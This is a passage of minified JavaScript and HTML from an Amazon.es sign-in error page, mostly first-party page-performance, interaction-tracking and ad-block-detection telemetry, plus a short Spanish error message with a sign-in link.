                b = 7,
                I = 8,
                T = n.global,
                E = n.on,
                V = n("Events", {
                    producerId: "csa",
                    lob: e.lob || "0"
                }),
                $ = T.document,
                M = {},
                S = {},
                H = y;

            function K(e) {
                if (!M[b]) {
                    var i;
                    if (M[e] = n.time(), e !== h && e !== P || (t = t || M[e]), t && H === w) a = a || M[e], (i = {})[m] = t - o, i[f] = a - o, R("PageView.5", i), r = r || n.timeout(j, d);
                    if (e !== y && e !== p && e !== v || (clearTimeout(r), r = 0), e !== p && e !== v || R("PageRender.4", {
                            transitionType: e === p ? "hard" : "soft"
                        }), e === b)(i = {})[m] = t - o, i[f] = a - o, i[u] = M[e] - o, R("PageImpressed.3", i)
                }
            }

            function R(e, i) {
                S[e] || (i.schemaId = "<ns>." + e, V("log", i, {
                    ent: "all"
                }), S[e] = 1)
            }

            function W() {
                0 === T[c] && 0 === T[l] ? (H = I, n("Events")("setEntity", {
                    page: {
                        viewport: "hidden-iframe"
                    }
                })) : H = $[s] ? y : w, K(H)
            }

            function j() {
                K(b), r = 0
            }

            function k() {
                var e = o ? v : p;
                M = {}, S = {}, a = t = 0, o = n.time(), K(e), W()
            }

            function q() {
                var e = $.readyState;
                "interactive" === e && K(h), "complete" === e && K(P)
            }
            e["KillSwitch." + i] || ($ && void 0 !== $[s] ? (k(), E($, "visibilitychange", W, !1), E($, "readystatechange", q, !1), E("$afterPageTransition", k), E("$timing:loaded", q), n.once("$load", q)) : n.warn("Page visibility not supported"))
        });
        csa.plugin(function(c) {
            var s = c.config["Interactions.ParentChainLength"] || 35,
                e = "click",
                r = "touches",
                f = "timeStamp",
                o = "length",
                u = "pageX",
                g = "pageY",
                p = "pageXOffset",
                h = "pageYOffset",
                m = 250,
                v = 5,
                d = 200,
                l = .5,
                t = {
                    capture: !0,
                    passive: !0
                },
                X = c.global,
                Y = c.emit,
                n = c.on,
                x = X.Math.abs,
                a = (X.document || {}).documentElement || {},
                y = {
                    x: 0,
                    y: 0,
                    t: 0,
                    sX: 0,
                    sY: 0
                },
                N = {
                    x: 0,
                    y: 0,
                    t: 0,
                    sX: 0,
                    sY: 0
                };

            function b(t) {
                if (t.id) return "//*[@id='" + t.id + "']";
                var e = function(t) {
                        var e, n = 1;
                        for (e = t.previousSibling; e; e = e.previousSibling) e.nodeName === t.nodeName && (n += 1);
                        return n
                    }(t),
                    n = t.nodeName;
                return 1 !== e && (n += "[" + e + "]"), t.parentNode && (n = b(t.parentNode) + "/" + n), n
            }

            function I(t, e, n) {
                var a = c("Content", {
                        target: n
                    }),
                    i = {
                        schemaId: "<ns>.ContentInteraction.2",
                        interaction: t,
                        interactionData: e,
                        messageId: c.UUID()
                    };
                if (n) {
                    var r = b(n);
                    r && (i.attribution = r);
                    var o = function(t) {
                        for (var e = t, n = e.tagName, a = !1, i = t ? t.href : null, r = 0; r < s; r++) {
                            if (!e || !e.parentElement) {
                                a = !0;
                                break
                            }
                            n = (e = e.parentElement).tagName + "/" + n, i = i || e.href
                        }
                        return a || (n = ".../" + n), {
                            pc: n,
                            hr: i
                        }
                    }(n);
                    o.pc && (i.interactionData.parentChain = o.pc), o.hr && (i.interactionData.href = o.hr)
                }
                a("log", i), Y("$content.interaction", {
                    e: i,
                    w: a
                })
            }

            function i(t) {
                I(e, {
                    interactionX: "" + t.pageX,
                    interactionY: "" + t.pageY
                }, t.target)
            }

            function C(t) {
                if (t && t[r] && 1 === t[r][o]) {
                    var e = t[r][0];
                    N = y = {
                        e: t.target,
                        x: e[u],
                        y: e[g],
                        t: t[f],
                        sX: X[p],
                        sY: X[h]
                    }
                }
            }

            function D(t) {
                if (t && t[r] && 1 === t[r][o] && y && N) {
                    var e = t[r][0],
                        n = t[f],
                        a = n - N.t,
                        i = {
                            e: t.target,
                            x: e[u],
                            y: e[g],
                            t: n,
                            sX: X[p],
                            sY: X[h]
                        };
                    N = i, d <= a && (y = i)
                }
            }

            function E(t) {
                if (t) {
                    var e = x(y.x - N.x),
                        n = x(y.y - N.y),
                        a = x(y.sX - N.sX),
                        i = x(y.sY - N.sY),
                        r = t[f] - y.t;
                    if (m < 1e3 * e / r && v < e || m < 1e3 * n / r && v < n) {
                        var o = n < e;
                        o && a && e * l <= a || !o && i && n * l <= i || I((o ? "horizontal" : "vertical") + "-swipe", {
                            interactionX: "" + y.x,
                            interactionY: "" + y.y,
                            endX: "" + N.x,
                            endY: "" + N.y
                        }, y.e)
                    }
                }
            }
            n(a, e, i, t), n(a, "touchstart", C, t), n(a, "touchmove", D, t), n(a, "touchend", E, t)
        });
        csa.plugin(function(r) {
            var a, o, t, c, e, n = "MutationObserver",
                f = "observe",
                u = "disconnect",
                i = "mutObs",
                l = "_csa_flt",
                b = "_csa_llt",
                m = "_csa_mr",
                d = "_csa_mi",
                v = "lastChild",
                p = "length",
                _ = {
                    childList: !0,
                    subtree: !0
                },
                g = 10,
                h = 25,
                s = 1e3,
                y = 4,
                O = r.global,
                k = O.document,
                w = k.body || k.documentElement,
                I = Date.now,
                L = [],
                B = [],
                M = [],
                Y = 0,
                $ = 0,
                x = 0,
                A = 1,
                C = [],
                D = [],
                E = 0,
                F = r.blank,
                N = {
                    buffered: 1
                },
                S = 0;

            function T(e) {
                r.global.ue_csa_ss_tag || r.emit("$csmTag:" + e, 0, N)
            }
            I && O[n] ? (T(i + "Yes"), Y = 0, o = new O[n](j), (t = new O[n](V))[f](w, {
                attributes: !0,
                subtree: !0,
                attributeFilter: ["src"],
                attributeOldValue: !0
            }), F = r.on(O, "scroll", q, {
                passive: !0
            }), r.once("$ready", H), A && (G(), e = r.interval(z, s)), r.register("SpeedIndexBuffers", {
                getBuffers: function(e) {
                    e && (H(), q(), e(Y, C, L, B, M), o && o[u](), t && t[u](), F())
                },
                registerListener: function(e) {
                    a = e
                },
                replayModuleIsLive: function() {
                    r.timeout(H, 0)
                }
            })) : T(i + "No");

            function V(e) {
                L.push({
                    t: I(),
                    m: e
                })
            }

            function j(e) {
                B.push({
                    t: I(),
                    m: e
                }), S || T(i + "Active"), S = x = 1, a && a()
            }

            function q() {
                x && (M.push({
                    t: I(),
                    y: $
                }), $ = O.pageYOffset, x = 0)
            }

            function z() {
                var e = I();
                (!c || s < e - c) && G()
            }

            function G() {
                for (var e = w, t = I(), n = [], u = [], i = 0, s = 0; e;) e[l] ? ++i : (e[l] = t, n.push(e), s = 1), u[p] < y && u.push(e), e[d] = E, e[b] = t, e = e[v];
                s && (i < D[p] && function(e) {
                    for (var t = e, n = D[p]; t < n; t++) {
                        var u = D[t];
                        if (u) {
                            if (u[m]) break;
                            if (u[d] < E) {
                                u[m] = 1, o[f](u, _);
                                break
                            }
                        }
                    }
                }(i), D = u, C.push({
                    t: t,
                    m: n
                }), ++E, x = s, a && a()), A && r.timeout(G, s ? g : h), c = t
            }

            function H() {
                A && (A = 0, e && O.clearInterval(e), e = null, G(), o[f](w, _))
            }
        });

        var ue_csa_ss_tag = false;
        csa.plugin(function(b) {
            var a = b.global,
                e = a.uet,
                f = a.uex,
                c = a.ue,
                d = a.Object,
                g = 0,
                h = {
                    largestContentfulPaint: "lcp",
                    speedIndex: "si",
                    atfSpeedIndex: "atfsi",
                    visuallyLoaded50: "vl50",
                    visuallyLoaded90: "vl90",
                    visuallyLoaded100: "vl100"
                },
                l = "perfNo perfYes browserQuiteFn browserQuiteUd browserQuiteLd browserQuiteMut mutObsNo mutObsYes mutObsActive startVL endVL".split(" ");
            b && e && f && d.keys && c && (b.once("$ditched.beforemitigation", function() {
                g = 1
            }), d.keys(h).forEach(function(k) {
                b.on("$timing:" + k, function(b) {
                    var a = h[k];
                    if (c.isl || g) {
                        var d = "csa:" + a;
                        e(a, d, void 0, b);
                        f("at", d)
                    } else e(a, void 0, void 0, b)
                })
            }), a.ue_csa_ss_tag || l.forEach(function(a) {
                b.on("$csmTag:" + a, function() {
                    c.tag && c.tag(a);
                    (c.isl || g) && f("at", "csa:" + a)
                }, {
                    buffered: 1
                })
            }))
        });
    </script>
    <script type='text/javascript'>
        (function() {
            function l(a) {
                for (var c = b.location.search.substring(1).split("&"), e = 0; e < c.length; e++) {
                    var d = c[e].split("=");
                    if (d[0] === a) return d[1]
                }
            }
            window.amzn = window.amzn || {};
            amzn.copilot = amzn.copilot || {};
            var b = window,
                f = document,
                g = b.P || b.AmazonUIPageJS,
                h = f.head || f.getElementsByTagName("head")[0],
                m = 0,
                n = 0;
            amzn.copilot.checkCoPilotSession = function() {
                f.cookie.match("cpidv") && ("undefined" !== typeof jQuery && k(jQuery), g && g.when && g.when("jQuery").execute(function(a) {
                    k(a)
                }), b.amznJQ && b.amznJQ.available && b.amznJQ.available("jQuery",
                    function() {
                        k(jQuery)
                    }), b.jQuery || g || b.amznJQ || q())
            };
            var q = function() {
                    m ? b.ue && "function" === typeof b.ue.count && b.ue.count("cpJQUnavailable", 1) : (m = 1, f.addEventListener ? f.addEventListener("DOMContentLoaded", amzn.copilot.checkCoPilotSession, !1) : f.attachEvent && f.attachEvent("onreadystatechange", function() {
                        "complete" === f.readyState && amzn.copilot.checkCoPilotSession()
                    }))
                },
                k = function(a) {
                    if (!n) {
                        n = 1;
                        amzn.copilot.jQuery = a;
                        a = l("debugJS");
                        var c = "https:" === b.location.protocol ? 1 : 0,
                            e = 1;
                        url = "/gp/copilot/handlers/copilot_strings_resources.html";
                        window.texas && texas.locations && (url = texas.locations.makeUrl(url));
                        g && g.AUI_BUILD_DATE && (e = 0);
                        amzn.copilot.jQuery.ajax && amzn.copilot.jQuery.ajax({
                            url: url,
                            dataType: "json",
                            data: {
                                isDebug: a,
                                isSecure: c,
                                includeAUIP: e
                            },
                            success: function(a) {
                                amzn.copilot.vip = a.serviceEndPoint;
                                amzn.copilot.enableMultipleTabSession = a.isFollowMe;
                                r(a)
                            },
                            error: function() {
                                b.ue.count("cpLoadResourceError", 1)
                            }
                        })
                    }
                },
                r = function(a) {
                    var c = amzn.copilot.jQuery,
                        e = function() {
                            amzn.copilot.setup(c.extend({
                                isContinuedSession: !0
                            }, a))
                        };
                    a.CSSUrls &&
                        c.each(a.CSSUrls[0], function(a, c) {
                            var b = f.createElement("link");
                            b.type = "text/css";
                            b.rel = "stylesheet";
                            b.href = c;
                            h.appendChild(b)
                        });
                    a.CSSTag && s(a.CSSTag);
                    if (a.JSUrls) {
                        var d = l("forceSynchronousJS"),
                            b = a.JSUrls[0];
                        c.each(b, function(a, c) {
                            a === b.length - 1 ? p(c, d, e) : p(c, d)
                        })
                    }
                    a.JSTag && (t(a.JSTag), P.when("CSCoPilotPresenterAsset").execute(function() {
                        e()
                    }))
                },
                t = function(a) {
                    var c = f.createElement("div");
                    c.innerHTML = a;
                    a = 0;
                    for (var b = c.children.length; a < b; a++) {
                        var d = f.createElement("script");
                        d.type = "text/javascript";
                        d.innerHTML = c.children[a].innerHTML;
                        h.appendChild(d)
                    }
                },
                s = function(a) {
                    var b = f.createElement("div");
                    b.innerHTML = a;
                    a = 0;
                    for (var e = b.children.length; a < e; a++) h.appendChild(b.children[a])
                },
                p = function(a, b, e) {
                    var d = f.createElement("script");
                    d.type = "text/javascript";
                    d.src = a;
                    d.async = b ? !1 : !0;
                    e && (d.onload = e);
                    h.appendChild(d)
                }
        })();

        amzn.copilot.checkCoPilotSession();
    </script>

    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 18524)
    </script>

    <div id="wrapper">
        <div id="error-slot">








            <div id="ap_error_page_header" class="ap_error_page_header">
                <img src="https://m.media-amazon.com/images/G/30/x-locale/common/amazon-logo._CB485942491_.gif" />
            </div>





            <div id="ap_error_page_wrapper" class="ap_error_page_wrapper">
                <table cellpadding="4" border="0" align="center" width="800">
                    <tbody>
                        <tr>
                            <td style="padding: 10px">
                                <img src="https://m.media-amazon.com/images/G/30/associates/question-mark._CB485935157_.gif" />
                            </td>
                            <td>
                                <div id="ap_error_page_title" class="ap_error_page_title">
                                    <h1>Ha surgido un problema</h1>
                                </div>
                                <div id="ap_error_page_message" class="ap_error_page_message">
                                    Lo sentimos. Ha ocurrido un error al iniciar sesión. Por favor, vuelva a intentarlo.
                                    
                                    <div id="ap_error_return_home" class="ap_error_return_home">

                                        <img src="https://m.media-amazon.com/images/G/30/x-locale/common/orange-arrow._CB485935500_.gif" />
                                        Volver a la página de inicio de Amazon.es
					<br>
					<br>
					<a href="https://www.amazon.es/ap/signin?openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dnav_orders_first&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=amzn_retail_yourorders_es&openid.mode=checkid_setup&language=es_ES&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">Iniciar sesión.</a> 


                                    </div>
                                </div>



                            </td>
                        </tr>
                    </tbody>
                </table>
            </div>



        </div>
    </div>

    <div id='be' style="display:none;visibility:hidden;">
        <form name='ue_backdetect' action="get"><input type="hidden" name='ue_back' value='1' /></form>


        <script type="text/javascript">
            window.ue_ibe = (window.ue_ibe || 0) + 1;
            if (window.ue_ibe === 1) {
                (function(e, c) {
                    function h(b, a) {
                        f.push([b, a])
                    }

                    function g(b, a) {
                        if (b) {
                            var c = e.head || e.getElementsByTagName("head")[0] || e.documentElement,
                                d = e.createElement("script");
                            d.async = "async";
                            d.src = b;
                            d.setAttribute("crossorigin", "anonymous");
                            a && a.onerror && (d.onerror = a.onerror);
                            a && a.onload && (d.onload = a.onload);
                            c.insertBefore(d, c.firstChild)
                        }
                    }

                    function k() {
                        ue.uels = g;
                        for (var b = 0; b < f.length; b++) {
                            var a = f[b];
                            g(a[0], a[1])
                        }
                        ue.deffered = 1
                    }
                    var f = [];
                    c.ue && (ue.uels = h, c.ue.attach && c.ue.attach("load", k))
                })(document, window);


                if (window.ue && window.ue.uels) {
                    ue.uels("https://images-eu.ssl-images-amazon.com/images/I/31bJewCvY-L.js");
                }
                var ue_mbl = ue_csm.ue.exec(function(h, a) {
                    function s(c) {
                        b = c || {};
                        a.AMZNPerformance = b;
                        b.transition = b.transition || {};
                        b.timing = b.timing || {};
                        if (a.csa) {
                            var d;
                            b.timing.transitionStart && (d = b.timing.transitionStart);
                            b.timing.processStart && (d = b.timing.processStart);
                            d && (csa("PageTiming")("mark", "nativeTransitionStart", d), csa("PageTiming")("mark", "transitionStart", d))
                        }
                        h.ue.exec(t, "csm-android-check")() && b.tags instanceof Array && (c = -1 != b.tags.indexOf("usesAppStartTime") || b.transition.type ? !b.transition.type && -1 <
                            b.tags.indexOf("usesAppStartTime") ? "warm-start" : void 0 : "view-transition", c && (b.transition.type = c));
                        n = null;
                        "reload" === e._nt && h.ue_orct || "intrapage-transition" === e._nt ? u(b) : "undefined" === typeof e._nt && f && f.timing && f.timing.navigationStart && a.history && "function" === typeof a.History && "object" === typeof a.history && a.history.length && 1 != a.history.length && (b.timing.transitionStart = f.timing.navigationStart);
                        p && e.ssw(q, "" + (b.timing.transitionStart || n || ""));
                        c = b.transition;
                        d = e._nt ? e._nt : void 0;
                        c.subType = d;
                        a.ue &&
                            a.ue.tag && a.ue.tag("has-AMZNPerformance");
                        e.isl && a.uex && a.uex("at", "csm-timing");
                        v()
                    }

                    function w(c) {
                        a.ue && a.ue.count && a.ue.count("csm-cordova-plugin-failed", 1)
                    }

                    function t() {
                        return a.cordova && a.cordova.platformId && "android" == a.cordova.platformId
                    }

                    function u() {
                        if (p) {
                            var c = e.ssw(q),
                                a = function() {},
                                x = e.count || a,
                                a = e.tag || a,
                                k = b.timing.transitionStart,
                                g = c && !c.e && c.val;
                            n = c = g ? +c.val : null;
                            k && g && k > c ? (x("csm.jumpStart.mtsDiff", k - c || 0), a("csm-rld-mts-gt")) : k && g ? a("csm-rld-mts-leq") : g ? k || a("csm-rld-mts-no-new") : a("csm-rld-mts-no-old")
                        }
                        f &&
                            f.timing && f.timing.navigationStart ? b.timing.transitionStart = f.timing.navigationStart : delete b.timing.transitionStart
                    }

                    function v() {
                        try {
                            a.P.register("AMZNPerformance", function() {
                                return b
                            })
                        } catch (c) {}
                    }

                    function r() {
                        if (!b) return "";
                        ue_mbl.cnt = null;
                        var c = b.timing,
                            d = b.transition,
                            d = ["mts", l(c.transitionStart), "mps", l(c.processStart), "mtt", d.type, "mtst", d.subType, "mtlt", d.launchType];
                        a.ue && a.ue.tag && (c.fr_ovr && a.ue.tag("fr_ovr"), c.fcp_ovr && a.ue.tag("fcp_ovr"), d.push("fr_ovr", l(c.fr_ovr), "fcp_ovr", l(c.fcp_ovr)));
                        for (var c = "", e = 0; e < d.length; e += 2) {
                            var f = d[e],
                                g = d[e + 1];
                            "undefined" !== typeof g && (c += "&" + f + "=" + g)
                        }
                        return c
                    }

                    function l(a) {
                        if ("undefined" !== typeof a && "undefined" !== typeof m) return a - m
                    }

                    function y(a, d) {
                        b && (m = d, b.timing.transitionStart = a, b.transition.type = "view-transition", b.transition.subType = "ajax-transition", b.transition.launchType = "normal", ue_mbl.cnt = r)
                    }
                    var e = h.ue || {},
                        m = h.ue_t0,
                        q = "csm-last-mts",
                        p = 1 === h.ue_sswmts,
                        n, f = a.performance,
                        b;
                    if (a.P && a.P.when && a.P.register) return 1 === a.ue_fnt && (m = a.aPageStart ||
                        h.ue_t0), a.P.when("CSMPlugin").execute(function(a) {
                        a.buildAMZNPerformance && a.buildAMZNPerformance({
                            successCallback: s,
                            failCallback: w
                        })
                    }), {
                        cnt: r,
                        ajax: y
                    }
                }, "mobile-timing")(ue_csm, ue_csm.window);

                (function(d) {
                    d._uess = function() {
                        var a = "";
                        screen && screen.width && screen.height && (a += "&sw=" + screen.width + "&sh=" + screen.height);
                        var b = function(a) {
                                var b = document.documentElement["client" + a];
                                return "CSS1Compat" === document.compatMode && b || document.body["client" + a] || b
                            },
                            c = b("Width"),
                            b = b("Height");
                        c && b && (a += "&vw=" + c + "&vh=" + b);
                        return a
                    }
                })(ue_csm);

                (function(a) {
                    function d(a) {
                        c && c("log", a)
                    }
                    var b = document.ue_backdetect,
                        c = a.csa && a.csa("Errors", {
                            producerId: "csa",
                            logOptions: {
                                ent: "all"
                            }
                        });
                    a.ue_err.buffer && c && (a.ue_err.buffer.forEach(d), a.ue_err.buffer.push = d);
                    b && b.ue_back && a.ue && (a.ue.bfini = b.ue_back.value);
                    a.uet && a.uet("be");
                    a.onLdEnd && (window.addEventListener ? window.addEventListener("load", a.onLdEnd, !1) : window.attachEvent && window.attachEvent("onload", a.onLdEnd));
                    a.ueh && a.ueh(0, window, "load", a.onLd, 1);
                    a.ue && a.ue.tag && (a.ue_furl ? (b = a.ue_furl.replace(/\./g,
                        "-"), a.ue.tag(b)) : a.ue.tag("nofls"))
                })(ue_csm);

                (function(g, h) {
                    function d(a, d) {
                        var b = {};
                        if (!e || !f) try {
                            var c = h.sessionStorage;
                            c ? a && ("undefined" !== typeof d ? c.setItem(a, d) : b.val = c.getItem(a)) : f = 1
                        } catch (g) {
                            e = 1
                        }
                        e && (b.e = 1);
                        return b
                    }
                    var b = g.ue || {},
                        a = "",
                        f, e, c, a = d("csmtid");
                    f ? a = "NA" : a.e ? a = "ET" : (a = a.val, a || (a = b.oid || "NI", d("csmtid", a)), c = d(b.oid), c.e || (c.val = c.val || 0, d(b.oid, c.val + 1)), b.ssw = d);
                    b.tabid = a
                })(ue_csm, ue_csm.window);

                ue_csm.ue.exec(function(e, f) {
                    var a = e.ue || {},
                        b = a._wlo,
                        d;
                    if (a.ssw) {
                        d = a.ssw("CSM_previousURL").val;
                        var c = f.location,
                            b = b ? b : c && c.href ? c.href.split("#")[0] : void 0;
                        c = (b || "") === a.ssw("CSM_previousURL").val;
                        !c && b && a.ssw("CSM_previousURL", b);
                        d = c ? "reload" : d ? "intrapage-transition" : "first-view"
                    } else d = "unknown";
                    a._nt = d
                }, "NavTypeModule")(ue_csm, window);
                ue_csm.ue.exec(function(c, a) {
                    function g(a) {
                        a.run(function(e) {
                            d.tag("csm-feature-" + a.name + ":" + e);
                            d.isl && c.uex("at")
                        })
                    }
                    if (a.addEventListener)
                        for (var d = c.ue || {}, f = [{
                                name: "touch-enabled",
                                run: function(b) {
                                    var e = function() {
                                            a.removeEventListener("touchstart", c, !0);
                                            a.removeEventListener("mousemove", d, !0)
                                        },
                                        c = function() {
                                            b("true");
                                            e()
                                        },
                                        d = function() {
                                            b("false");
                                            e()
                                        };
                                    a.addEventListener("touchstart", c, !0);
                                    a.addEventListener("mousemove", d, !0)
                                }
                            }], b = 0; b < f.length; b++) g(f[b])
                }, "csm-features")(ue_csm, window);


                (function(a, e) {
                    function d(a) {
                        b && b("recordCounter", a.c, a.v)
                    }
                    var c = e.images,
                        b = a.csa && a.csa("Metrics", {
                            producerId: "csa"
                        });
                    c && c.length && a.ue.count("totalImages", c.length);
                    a.ue.cv.buffer && b && (a.ue.cv.buffer.forEach(d), a.ue.cv.buffer.push = d)
                })(ue_csm, document);
                (function(b) {
                    function c() {
                        var d = [];
                        a.log && a.log.isStub && a.log.replay(function(a) {
                            e(d, a)
                        });
                        a.clog && a.clog.isStub && a.clog.replay(function(a) {
                            e(d, a)
                        });
                        d.length && (a._flhs += 1, n(d), p(d))
                    }

                    function g() {
                        a.log && a.log.isStub && (a.onflush && a.onflush.replay && a.onflush.replay(function(a) {
                            a[0]()
                        }), a.onunload && a.onunload.replay && a.onunload.replay(function(a) {
                            a[0]()
                        }), c())
                    }

                    function e(d, b) {
                        var c = b[1],
                            f = b[0],
                            e = {};
                        a._lpn[c] = (a._lpn[c] || 0) + 1;
                        e[c] = f;
                        d.push(e)
                    }

                    function n(b) {
                        q && (a._lpn.csm = (a._lpn.csm || 0) + 1, b.push({
                            csm: {
                                k: "chk",
                                f: a._flhs,
                                l: a._lpn,
                                s: "inln"
                            }
                        }))
                    }

                    function p(a) {
                        if (h) a = k(a), b.navigator.sendBeacon(l, a);
                        else {
                            a = k(a);
                            var c = new b[f];
                            c.open("POST", l, !0);
                            c.setRequestHeader && c.setRequestHeader("Content-type", "text/plain");
                            c.send(a)
                        }
                    }

                    function k(a) {
                        return JSON.stringify({
                            rid: b.ue_id,
                            sid: b.ue_sid,
                            mid: b.ue_mid,
                            mkt: b.ue_mkt,
                            sn: b.ue_sn,
                            reqs: a
                        })
                    }
                    var f = "XMLHttpRequest",
                        q = 1 === b.ue_ddq,
                        a = b.ue,
                        r = b[f] && "withCredentials" in new b[f],
                        h = b.navigator && b.navigator.sendBeacon,
                        l = "//" + b.ue_furl + "/1/batch/1/OE/",
                        m = b.ue_fci_ft || 5E3;
                    a && (r || h) &&
                        (a._flhs = a._flhs || 0, a._lpn = a._lpn || {}, a.attach && (a.attach("beforeunload", a.exec(g, "fcli-bfu")), a.attach("pagehide", a.exec(g, "fcli-ph"))), m && b.setTimeout(a.exec(c, "fcli-t"), m), a._ffci = a.exec(c))
                })(window);


                (function(k, c) {
                    function l(a, b) {
                        return a.filter(function(a) {
                            return a.initiatorType == b
                        })
                    }

                    function f(a, c) {
                        if (b.t[a]) {
                            var g = b.t[a] - b._t0,
                                e = c.filter(function(a) {
                                    return 0 !== a.responseEnd && m(a) < g
                                }),
                                f = l(e, "script"),
                                h = l(e, "link"),
                                k = l(e, "img"),
                                n = e.map(function(a) {
                                    return a.name.split("/")[2]
                                }).filter(function(a, b, c) {
                                    return a && c.lastIndexOf(a) == b
                                }),
                                q = e.filter(function(a) {
                                    return a.duration < p
                                }),
                                s = g - Math.max.apply(null, e.map(m)) < r | 0;
                            "af" == a && (b._afjs = f.length);
                            return a + ":" + [e[d], f[d], h[d], k[d], n[d], q[d], s].join("-")
                        }
                    }

                    function m(a) {
                        return a.responseEnd - (b._t0 - c.timing.navigationStart)
                    }

                    function n() {
                        var a = c[h]("resource"),
                            d = f("cf", a),
                            g = f("af", a),
                            a = f("ld", a);
                        delete b._rt;
                        b._ld = b.t.ld - b._t0;
                        b._art && b._art();
                        return [d, g, a].join("_")
                    }
                    var p = 20,
                        r = 50,
                        d = "length",
                        b = k.ue,
                        h = "getEntriesByType";
                    b._rre = m;
                    b._rt = c && c.timing && c[h] && n
                })(ue_csm, window.performance);


                (function(c, d) {
                    var b = c.ue,
                        a = d.navigator;
                    b && b.tag && a && (a = a.connection || a.mozConnection || a.webkitConnection) && a.type && b.tag("netInfo:" + a.type)
                })(ue_csm, window);


                (function(c, d) {
                    function h(a, b) {
                        for (var c = [], d = 0; d < a.length; d++) {
                            var e = a[d],
                                f = b.encode(e);
                            if (e[k]) {
                                var g = b.metaSep,
                                    e = e[k],
                                    l = b.metaPairSep,
                                    h = [],
                                    m = void 0;
                                for (m in e) e.hasOwnProperty(m) && h.push(m + "=" + e[m]);
                                e = h.join(l);
                                f += g + e
                            }
                            c.push(f)
                        }
                        return c.join(b.resourceSep)
                    }

                    function s(a) {
                        var b = a[k] = a[k] || {};
                        b[t] || (b[t] = c.ue_mid);
                        b[u] || (b[u] = c.ue_sid);
                        b[f] || (b[f] = c.ue_id);
                        b.csm = 1;
                        a = "//" + c.ue_furl + "/1/" + a[v] + "/1/OP/" + a[w] + "/" + a[x] + "/" + h([a], y);
                        if (n) try {
                            n.call(d[p], a)
                        } catch (g) {
                            c.ue.sbf = 1, (new Image).src = a
                        } else(new Image).src =
                            a
                    }

                    function q() {
                        g && g.isStub && g.replay(function(a, b, c) {
                            a = a[0];
                            b = a[k] = a[k] || {};
                            b[f] = b[f] || c;
                            s(a)
                        });
                        l.impression = s;
                        g = null
                    }
                    if (!(1 < c.ueinit)) {
                        var k = "metadata",
                            x = "impressionType",
                            v = "foresterChannel",
                            w = "programGroup",
                            t = "marketplaceId",
                            u = "session",
                            f = "requestId",
                            p = "navigator",
                            l = c.ue || {},
                            n = d[p] && d[p].sendBeacon,
                            r = function(a, b, c, d) {
                                return {
                                    encode: d,
                                    resourceSep: a,
                                    metaSep: b,
                                    metaPairSep: c
                                }
                            },
                            y = r("", "?", "&", function(a) {
                                return h(a.impressionData, z)
                            }),
                            z = r("/", ":", ",", function(a) {
                                return a.featureName + ":" + h(a.resources,
                                    A)
                            }),
                            A = r(",", "@", "|", function(a) {
                                return a.id
                            }),
                            g = l.impression;
                        n ? q() : (l.attach("load", q), l.attach("beforeunload", q));
                        try {
                            d.P && d.P.register && d.P.register("impression-client", function() {})
                        } catch (B) {
                            c.ueLogError(B, {
                                logLevel: "WARN"
                            })
                        }
                    }
                })(ue_csm, window);



                var ue_pty = "AuthenticationPortal";

                var ue_spty = "Error404Page";



                var ue_adb = 4;
                var ue_adb_rtla = 1;
                ue_csm.ue.exec(function(y, a) {
                    function t() {
                        if (d && f) {
                            var a;
                            a: {
                                try {
                                    a = d.getItem(g);
                                    break a
                                } catch (c) {}
                                a = void 0
                            }
                            if (a) return b = a, !0
                        }
                        return !1
                    }

                    function u() {
                        if (a.fetch) fetch(m).then(function(a) {
                            if (!a.ok) throw Error(a.statusText);
                            return a.text ? a.text() : null
                        }).then(function(b) {
                            b ? (-1 < b.indexOf("window.ue_adb_chk = 1") && (a.ue_adb_chk = 1), n()) : h()
                        })["catch"](h);
                        else e.uels(m, {
                            onerror: h,
                            onload: n
                        })
                    }

                    function h() {
                        b = k;
                        l();
                        if (f) try {
                            d.setItem(g, b)
                        } catch (a) {}
                    }

                    function n() {
                        b = 1 === a.ue_adb_chk ? p : k;
                        l();
                        if (f) try {
                            d.setItem(g,
                                b)
                        } catch (c) {}
                    }

                    function q() {
                        a.ue_adb_rtla && c && 0 < c.ec && !1 === r && (c.elh = null, ueLogError({
                            m: "Hit Info",
                            fromOnError: 1
                        }, {
                            logLevel: "INFO",
                            adb: b
                        }), r = !0)
                    }

                    function l() {
                        e.tag(b);
                        e.isl && a.uex && uex("at", b);
                        s && s.updateCsmHit("adb", b);
                        c && 0 < c.ec ? q() : a.ue_adb_rtla && c && (c.elh = q)
                    }

                    function v() {
                        return b
                    }
                    if (a.ue_adb) {
                        a.ue_fadb = a.ue_fadb || 10;
                        var e = a.ue,
                            k = "adblk_yes",
                            p = "adblk_no",
                            m = "https://m.media-amazon.com/images/G/01/csm/showads.v2.js?category=ad&adstype=-ad-column-&ad_size=-housead-",
                            b = "adblk_unk",
                            d;
                        a: {
                            try {
                                d = a.localStorage;
                                break a
                            } catch (z) {}
                            d = void 0
                        }
                        var g = "csm:adb",
                            c = a.ue_err,
                            s = e.cookie,
                            f = void 0 !== a.localStorage,
                            w = Math.random() > 1 - 1 / a.ue_fadb,
                            r = !1,
                            x = t();
                        w || !x ? u() : l();
                        a.ue_isAdb = v;
                        a.ue_isAdb.unk = "adblk_unk";
                        a.ue_isAdb.no = p;
                        a.ue_isAdb.yes = k
                    }
                }, "adb")(document, window);




                (function(c, l, m) {
                    function h(a) {
                        if (a) try {
                            if (a.id) return "//*[@id='" + a.id + "']";
                            var b, d = 1,
                                e;
                            for (e = a.previousSibling; e; e = e.previousSibling) e.nodeName === a.nodeName && (d += 1);
                            b = d;
                            var c = a.nodeName;
                            1 !== b && (c += "[" + b + "]");
                            a.parentNode && (c = h(a.parentNode) + "/" + c);
                            return c
                        } catch (f) {
                            return "DETACHED"
                        }
                    }

                    function f(a) {
                        if (a && a.getAttribute) return a.getAttribute(k) ? a.getAttribute(k) : f(a.parentElement)
                    }
                    var k = "data-cel-widget",
                        g = !1,
                        d = [];
                    (c.ue || {}).isBF = function() {
                        try {
                            var a = JSON.parse(localStorage["csm-bf"] || "[]"),
                                b = 0 <= a.indexOf(c.ue_id);
                            a.unshift(c.ue_id);
                            a = a.slice(0, 20);
                            localStorage["csm-bf"] = JSON.stringify(a);
                            return b
                        } catch (d) {
                            return !1
                        }
                    }();
